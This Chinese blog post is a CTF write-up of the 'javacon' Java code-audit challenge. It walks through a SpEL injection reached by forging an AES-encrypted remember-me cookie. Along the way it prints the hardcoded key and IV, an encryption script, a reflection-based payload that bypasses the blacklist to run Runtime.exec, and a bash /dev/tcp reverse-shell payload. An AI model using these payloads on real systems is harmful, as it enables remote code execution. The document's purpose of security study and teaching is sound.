首页 > 编程语言 >【网络安全 | Java代码审计】Code-Breaking Puzzles-javacon

【网络安全 | Java代码审计】Code-Breaking Puzzles-javacon

时间:2024-09-02 20:16:26浏览次数:3  
标签:username me Code Java String Breaking java ntime remember

未经许可,不得转载。

源码:https://www.leavesongs.com/media/attachment/2018/11/23/challenge-0.0.1-SNAPSHOT.jar,下载至桌面。

考察知识点:SpEL注入

正文

执行命令运行环境:

java -jar C:\Users\86177\Desktop\challenge-0.0.1-SNAPSHOT.jar

浏览器访问localhost:8080

使用JD-GUI反编译,目录结构大致如下:

这是一个spring框架,先分析application.yml文件:

该文件设置了黑名单,主要过滤了任何包含 java.lang 的关键字、Runtime 类、exec 方法;并且配置了默认的用户名密码为admin、admin以及用于 remember-me 功能的密钥。

Spring框架的关键点在于Controller,即控制器,我们看看MainController.java文件实现了什么功能。

文件中,MainController.class定义了ExpressionParser:

该属性在该文件下的getAdvanceValue()函数中会被调用来解析字符串内容:

由此可知,getAdvanceValue()函数是SpEL 注入的触发点。

接着,admin()函数中调用了getAdvanceValue()函数,传递的参数为输入的username的值:

现在让我们跟进username参数,看其在哪个场景下存在SpEL注入。首先看login()函数:

/*     */   @PostMapping({"/login"})
/*     */   public String login(@RequestParam(value = "username", required = true) String username, @RequestParam(value = "password", required = true) String password, @RequestParam(value = "remember-me", required = false) String isRemember, HttpSession session, HttpServletResponse response) {
/*  70 */     if (this.userConfig.getUsername().contentEquals(username) && this.userConfig.getPassword().contentEquals(password)) {
/*  71 */       session.setAttribute("username", username);
/*     */       
/*  73 */       if (isRemember != null && !isRemember.equals("")) {
/*  74 */         Cookie c = new Cookie("remember-me", this.userConfig.encryptRememberMe());
/*  75 */         c.setMaxAge(2592000);
/*  76 */         response.addCookie(c);
/*     */       } 
/*     */       
/*  79 */       return "redirect:/";
/*     */     } 
/*  81 */     return "redirect:/login-error";
/*     */   }

这里传入了三个参数,包括username、password和remember-me,其中前两个是必须传入的,remember-me是非必须传入的。

在第一个if条件中,通过 this.userConfig.getUsername()this.userConfig.getPassword() 方法从配置中获取用户名和密码,并与请求中的用户名和密码进行比较。如果用户名和密码匹配,则认为用户登录成功。接着使用session.setAttribute("username")将用户名存储在 HTTP 会话中,方便后续的请求使用:

可以看到,只有在username匹配成功的情况下,才能调用session.setAttribute("username"),因此无法将username构造为payload,即无法实现SpEL注入。

接着我们再跟进admin()函数:

先从请求头Cookie中提取remember-me参数的值,当remember-me的值为空时,调用session.getAttribute("username")来获取HTTP会话中username的值,再调用getAdvanceValue()函数来处理username,此时由于username是正确的用户名,因此无法实现SpEL注入:

/*     */     
/*  43 */     Object username = session.getAttribute("username");
/*  44 */     if (username == null || username.toString().equals("")) {
/*  45 */       return "redirect:/login";
/*     */     }
/*     */     
/*  48 */     model.addAttribute("name", getAdvanceValue(username.toString()));
/*  49 */     return "hello";

当remember-me的值不为空时(即登录时勾选了remember-me),使用 decryptRememberMe 方法解密 Cookie 值,并将解密后的值存储在 HTTP 会话中,作为 "username" 属性:

/*     */   public String admin(@CookieValue(value = "remember-me", required = false) String rememberMeValue, HttpSession session, Model model) {
/*  36 */     if (rememberMeValue != null && !rememberMeValue.equals("")) {
/*  37 */       String str = this.userConfig.decryptRememberMe(rememberMeValue);
/*  38 */       if (str != null) {
/*  39 */         session.setAttribute("username", str);
/*     */       }
/*     */     } 

可以看到,此时的username可控,可以实现SpEL注入。

因此,我们只需输入admin/admin并勾选remember-me选项,点击登录,然后在请求包中修改Cookie内容即可。

这里注意,需要将proxy及burp的端口修改为8081,防止与本地环境冲突。

由于application.yml文件中过滤了任何包含 java.lang 的关键字、Runtime 类、exec 方法,那该如何构造Payload实现绕过呢?

可以利用 Java 的反射机制来绕过黑名单限制。通过 Class.forName()Method.getMethod() 等重要的方法,可以动态加载和调用方法,而这些方法的参数是字符串,因此可以通过字符串拼接的方式绕过黑名单检查。

构造后的初始Payload如下:

String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("exec",String.class).invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"});

在SpEL中,使用T()运算符会调用类作用域的方法和常量。这里需要将Payload修改为满足SpEL的解析格式:

#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})}

接着,将该Payload进行加密即可,源代码的加密部分如下:

其中,涉及到三个参数,initVector为c0dehack1nghere1(在ChallengeApplication.java中)、key为0123456789abcdef(在UserConfig.java中)、value为admin。

构造加密脚本:

import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.util.Base64;

public class ice{
    public static void main(String[] args)
    {
        String key="c0dehack1nghere1";
        String initVector="0123456789abcdef";
        String value="admin";
        /*    */     try {
        /* 15 */       IvParameterSpec iv = new IvParameterSpec(initVector.getBytes("UTF-8"));
        /* 16 */       SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
        /*    */
        /* 18 */       Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
        /* 19 */       cipher.init(1, skeySpec, iv);
        /*    */
        /* 21 */       byte[] encrypted = cipher.doFinal(value.getBytes());
        /*    */
        /* 23 */       System.out.println(Base64.getUrlEncoder().encodeToString(encrypted));
        /* 24 */     } catch (Exception ex) {
        /* 28 */       System.out.println(ex.getMessage());
        /*    */     }
    }
}

可以看到,value为admin时,加密后的结果与burp中的remember-me参数是一致的,说明加密脚本构造成功。

接着,将admin改为payload即可:

请求包如下:

GET / HTTP/1.1
Host: localhost:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
sec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Referer: http://localhost:8080/login;jsessionid=6F134EE0A90DCC7435DDC29F6A6FE9D1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=6F134EE0A90DCC7435DDC29F6A6FE9D1; remember-me=bvik1nAmjEAllRdn5UKWGC9uCj0hW0P2B6k1uigkS1acKxD9b_xNi-x09UGgjU1DvDEI2GGk4Jn0ApM_cSVc0G7kGnvvtewNRVsfqFUCR0fMAPqbj6yqACW6XVtt8Fp1nBwebKd7pkYSZCv6Yj3X7H-0-8HDV6F3sS3yWHUQEBPAyiNmKfkSKUV5VVlNdo16Nij8YX8HvKdeMHJ7_5Sdjfmfq3dKPeUOivMyVp_GdEkffgly4YX4eWCOzQRr4uQgodsKw2pC9N9udnw3Fz7O5ZhzmoYttjLubBowMtkF-Q6HHCvBrK9SWCzRQXC6jqYX_XeqyZuDreUixnpXpzlN9H7gNu6g_wGm_cm_ZTToae358b5MVNWC71uaMEt3PRJl
Connection: close


弹出本地计算器,SpEL注入成功:

构造反弹shell:

#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/攻击机IP/端口 0>&1"})}

标签:username,me,Code,Java,String,Breaking,java,ntime,remember
From: https://www.cnblogs.com/qiushuo/p/18393442

相关文章

  • Java生产环境下性能监控与调优指南
    Java生产环境下性能监控与调优指南目录引言Java性能监控2.1性能监控工具2.2关键性能指标Java应用性能调优3.1内存调优3.2垃圾回收调优3.3多线程优化3.4数据库连接优化3.5代码级优化结语1.引言在Java应用的生产环境下,性能监控及调优显得至关重要,它们......
  • Java线程生命周期:Java线程生命周期全景解读
    1.线程生命周期概述:不仅仅是状态转换在多线程编程中,理解线程的生命周期对于编写有效、高效的代码至关重要。线程生命周期通常描述了线程从创建到死亡的一系列状态变化过程,但其实不仅仅局限于这些状态的简单转换。线程生命周期的理解应该考虑系统资源的分配、线程调度、同步、通信......
  • c++vscode多文件实现通讯录管理系统
    c++vscode多文件实现通讯录管理系统作为c++入门级别的实战项目,此通讯管理系统项目不仅仅是对c++入门阶段学习成果的检验,也是对c++基础知识的回顾,体会c++在实战制作中的思路,是入门c++单文件实现通讯录系统的改进一、多文件通讯录管理系统简介系统需求通讯录是一个可......
  • JAVA基础:对象流
    目录前言序列化和反序列化对象流的创建前言之前的流我们都是使用他们读取一些字节或者字符的数据,但是在实际的应用中数据的类型除了基本数据类型之外,还有引用数据类型,对象流就是能读取引用数据类型的流序列化和反序列化对象流的本质是一个字节流,也是过程流对象流的......
  • Java小白一文讲清Java中集合相关的知识点(二)
    ListList接口和常用方法基本介绍List接口是Collection接口的子接口List集合类中的元素有序–即添加顺序和取出顺序一致、且可重复publicclassJourney{@SuppressWarnings({"all"})publicstaticvoidmain(String[]args){Listlist=newArray......
  • 【Java 基础】类和对象(构造&this&封装&static&代码块)
    ✨                           风起于青萍之末,浪成于微澜之间    ......
  • Java开发语言:ssm人力资源管理系统010(附免费源码)
    摘 要科技进步的飞速发展引起人们日常生活的巨大变化,电子信息技术的飞速发展使得电子信息技术的各个领域的应用水平得到普及和应用。信息时代的到来已成为不可阻挡的时尚潮流,人类发展的历史正进入一个新时代。在现实运用中,应用软件的工作规则和开发步骤,采用Java技术建设人......
  • 【Java】—— Java面向对象进阶:Java中的账户管理-基础账户与可透支账户的实现与测试
    目录1.基础账户类(Account)2.测试基础账户类3.可透支账户类(CheckAccount)4.测试可透支账户类运行结果1.基础账户类(Account)        写一个名为Account的类模拟账户。该类的属性和方法如下图所示。该类包括的属性:账号id,余额balance,年利率annualInterestRate;......
  • 高级java每日一道面试题-2024年9月02日-基础篇-什么是脏读、不可重复读和幻读?
    如果有遗漏,评论区告诉我进行补充面试官:什么是脏读、不可重复读和幻读?我回答:在数据库事务的并发控制中,脏读(DirtyRead)、不可重复读(Non-repeatableRead)和幻读(PhantomRead)是三种常见的并发问题,它们主要涉及到事务的隔离级别和一致性。了解这些问题有助于我们设计更健......
  • 高级java每日一道面试题-2024年9月02日-基础篇-如何处理嵌套事务?
    如果有遗漏,评论区告诉我进行补充面试官:如何处理嵌套事务?我回答:处理嵌套事务(NestedTransactions)是Java开发中一个常见的问题,特别是在涉及多个数据库操作时。嵌套事务指的是在一个事务中又开始了另一个事务,形成了事务的层次结构。处理嵌套事务需要特别注意事务的边界......